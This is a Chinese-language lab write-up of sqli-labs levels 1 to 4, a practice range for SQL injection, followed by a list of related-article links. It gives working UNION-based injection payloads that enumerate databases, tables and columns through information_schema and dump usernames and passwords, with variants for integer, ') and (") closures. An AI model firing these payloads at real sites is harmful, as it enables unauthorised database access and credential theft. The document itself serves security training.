sqllabs靶场less1-4
less1-4
语法:Select 列名称 from 表名称 (where column_name=’xxx’ and …)
在数据库中:
information_schema:存放和数据库有关的东西
在information_schema中有SCHEMATA这是存放和数据库有关的数据库的名字
在information_schema中有TABLES用来存放和表有关的东西
在information_schema中有COLUMNS用来存放和列有关的东西,而且里面有table_name和column_name;主要是用来指定column是对属于哪一个table的
Information_schema:用来存放数据库内容的;
一般,进行一次注入需要走以下流程:
猜测数据库:
Select schema_name from information_schema.schemata
猜测某库中的数据表
Select table_name information_schema.tables where table_schema=’xxx’;
猜测表中的所有列:
Select column_name form information_schema.columns where table_name=’xxx’;
获取某列的内容
Select ***from ***
Less1:
先使用id=1’进行操作;出现错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
注意:这说明在’1’’ LIMIT 0,1附近有错误;并不是‘‘1’’LIMIT 0,1’
也就说明了,SQL查询语句是id=’1’
接着使用:
1' or 1=1--+
1' and 1=1--+
都是可以操作的;
接下来爆破数据库的列:
id=-1' union select 1,2,3,4,5--+

通过报错,慢慢减小select 后面的参数直到:

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。
爆破数据库的名字:
?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

说明:
schema_name:是information_schema.schemata中存放数据库名的列表;
爆破数数据库的数据表
id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

说明:
table_name是数据库information_schema中tables的表中的列。
table_schema也是table中的列:这里的table_name用来指定从属数据库的表名。用来说明,当前的table是属于哪一个数据库。
爆破数据库security中的users的列表:
id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

说明:
Column_name:是数据库information_schema中columns表格中用来存放列名字的列;table_name用来指定表名;给一个指定名字的表,然后搜索它的列名;
table_schema:是用来表示该表从属于哪一个数据库
在这里有一个有趣的发现:这个表,是任意数据库的表,只要数据库中有重名且重列名的表,那么这里就会显示出来;table_name和column_name都是information_schema.columns表中的。
为了方便,还可以再限定一下,在 where之后加入语句:and table_schema=’security’

爆数据:
id=-1' union select 1,2,group_concat(user_id,’==’,password) from users;
这里是错误的,正确是语句是:
id =-1' union select 1,2,group_concat(username,’==’,password) from users;
这里因为没有加作用域,所以就自动的规定为在less1中的数据库(security)查询了
到这里,less-1算是讲完了,less1-4算是一个题型,只需要修改一下包含用的符号就行了
Less2:
在浏览器输入:?id=2’:报错:
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near '' LIMIT 0,1' at line 1
和less1输入?id=1’进行对比发现:(最外层的’’只是圈出的报错的地方)
less1:‘1’’ LIMIT 0,1
less2:’ LIMIT 0,1 è
于是得知,查询语句id使用的int:SELECT *
FROM table WHERE id=(some integer value)
接下来:将less的所有语句去除-1后面的’,拿来直接使用就行;
Less3:
首先使用id=1’对less3进行一个错误的查询,根据返回的错误,判断less3的查询语句中使用的是哪种方式的闭合;错误信息:
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near ''3'') LIMIT 0,1' at line 1
注意:单引号和双引号肉眼难以区分。
可以使用鼠标进行选中来进行判断:发现都是单引号。
根据错误能够判断出,在后台执行语句为:select password from users where
id=(’3’’)
也就是说:开发者使用的查询为:SELECT login_name,password from table
where id=(‘our input’)
接着我们可以人为的使用’)来对后面的封闭进行闭合;
于是有了:sql=”select login_name,password from table where id=(‘3’)--+’)”;
或许以上看不清楚:在cmd中:select login_name,password from table
where id=(‘3’)--+’)
黄色标起来的地方是被--+注释了的地方;
接下来依旧是执行less1中的语句,将id=-1’换成id=-3’)即可(这里之所以写成-3,是因为想做个区分,实际上写任何数都可以,只要数据库中有对应的id值就会返回数据)
id=3)--+也可以进行查询 是因为弱比较?
执行 id=3’)
and 1=1
Id=(‘4’’)
Id= (‘4%27) --+’)
Less4:
分别输入:4,4’,4),4’),4”
发现只有在4”的时候进行了报错(我这里就没有截图了),且知道了闭合方式为id=(“4”);
接着进行注入尝试:
能成功注入的有:
“) or
“1”=(“
“) or
1=1--+
于是将less1中的id=1’换成id=(“4就OK了
如果有错,请指正;
感谢您的阅读。
sqllabs靶场less1-4的更多相关文章
- JAVA代码审计之xss
java_sec_code xss 补充和回忆一下一些开发基础 @RestController @RequestMapping(value = "/xss") public cla ...
- SQL注入靶场sqli-labs 1-65关全部通关教程
以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...
- 靶场练习--sqli(1&2)
前言 懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干.今天开始发愤图强,嘻嘻~ 计划内容有:靶场.视频.python.PHP.java.计算机英语. 首先,每天必搞靶场必看视频必学java和英 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 靶场练习-Sqli-labs通关记录(1-4关)
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...
- Sqli-labs 注入靶场(1-22)
Sqli-labs靶场1-22 Sql注入的本质是代码和数据的未分离,导致用户的输入可以对数据库产生恶意的输入或输出. 本篇博客旨在通过Sqli-labs的第1-22关,详细的描述Sql注入的相关场景 ...
- Less-1(GET字符型)
union联合注入(方法一) 进入靶场 按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1 数据库执行语句:select * from news w ...
- [html]LESS-1.3.3
网站:http://www.bootcss.com/p/lesscss/ 下载链接:http://files.cnblogs.com/files/z5337/less-1.3.3.min.js
- less-1
说在前面的话,为什么用less: 1.需要编写的代码明显变少了 2.css管理更加容易 3.less学习成本低 4.使用less实现配色变得非常容易 5.兼容css3,实现各个浏览器中css的兼容写法 ...
- CTF丨从零开始搭建WEB Docker靶场
第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...
随机推荐
- day 26 form表单标签 & CSS样式表-选择器 & 样式:背景、字体、定位等
html常用标签 嵌套页面 <!-- 嵌套页面 --> <div> <!-- target属性值可以通过指定的iframe的name属性值, 实现超链接页面,在嵌套页面展 ...
- 快速绘制流程图「GitHub 热点速览 v.22.47」
画流程图一直是研发的一个难题,如何画得通俗易懂已经够让人头疼了,还要美观大方.用 d2 的语法描述下流程,d2 会自动帮你生成一张配色极佳的流程图.说到研发的选择,本周特推的 choiceof.dev ...
- 《MySQL必知必会》知识汇总二
六.用通配符进行过滤 本章介绍什么是通配符.如何使用通配符以及怎样使用LIKE操作符进行通配搜索 LIKE操作符 百分号(%)通配符 select prod_id,prod_name from pro ...
- 【大数据面试】Flink 01 概述:包含内容、层次架构、运行组件、部署模式、任务提交流程、任务调度概念、编程模型组成
一.概述 1.介绍 对无界和有界数据流进行有状态计算的分布式引擎和框架,并可以使用高层API编写分布式任务,主要包括: DataSet API(批处理):静态数据抽象为分布式数据集,方便使用操作符进行 ...
- Django框架三板斧本质-jsonResponse对象-form表单上传文件request对象方法-FBV与CBV区别
目录 一:视图层 2.三板斧(HttpResponse对象) 4.HttpResponse() 5.render() 6.redirect() 7.也可以是一个完整的URL 二:三板斧本质 1.Dja ...
- 深入理解 Python 的对象拷贝和内存布局
深入理解 Python 的对象拷贝和内存布局 前言 在本篇文章当中主要给大家介绍 python 当中的拷贝问题,话不多说我们直接看代码,你知道下面一些程序片段的输出结果吗? a = [1, 2, 3, ...
- Windows上使用QEMU创建银河麒麟ARM64虚拟机完全手册
"好记性不如烂笔头." -- 张溥 0x00 大纲 目录 0x00 大纲 0x01 前言 0x02 物料准备 0x03 安装 QEMU 0x04 创建虚拟磁盘 0x05 安装麒麟系 ...
- IdentityServer4 - V4 概念理解及认证授权过程
概念理解 Scope 范围,它的定义比较宽泛,可大可小.大到可把多个包含相同Scope的站点或服务形成一个虚拟的组,也可以是站点或服务的子级:小到身份所需要包含的信息,以精确出哪种身份. Client ...
- 【转载】七个人生工具,终生受益 | SWOT、PDCA、6W2H、SMART、WBS、时间管理、二八原则
人类历史原本就是一部追求自身平衡的奋斗史,本文介绍七个人生工具:SWOT.PDCA.6W2H.SMART.WBS.时间管理.二八原则 . 1.SWOT分析法 Strengths:优势 Weakness ...
- Redis set数据类型命令使用及应用场景使用总结
转载请注明出处: 目录 1.sadd 集合添加元素 2.srem移除元素 3.smembers 获取key的所有元素 4.scard 获取key的个数 5.sismember 判断member元素是否 ...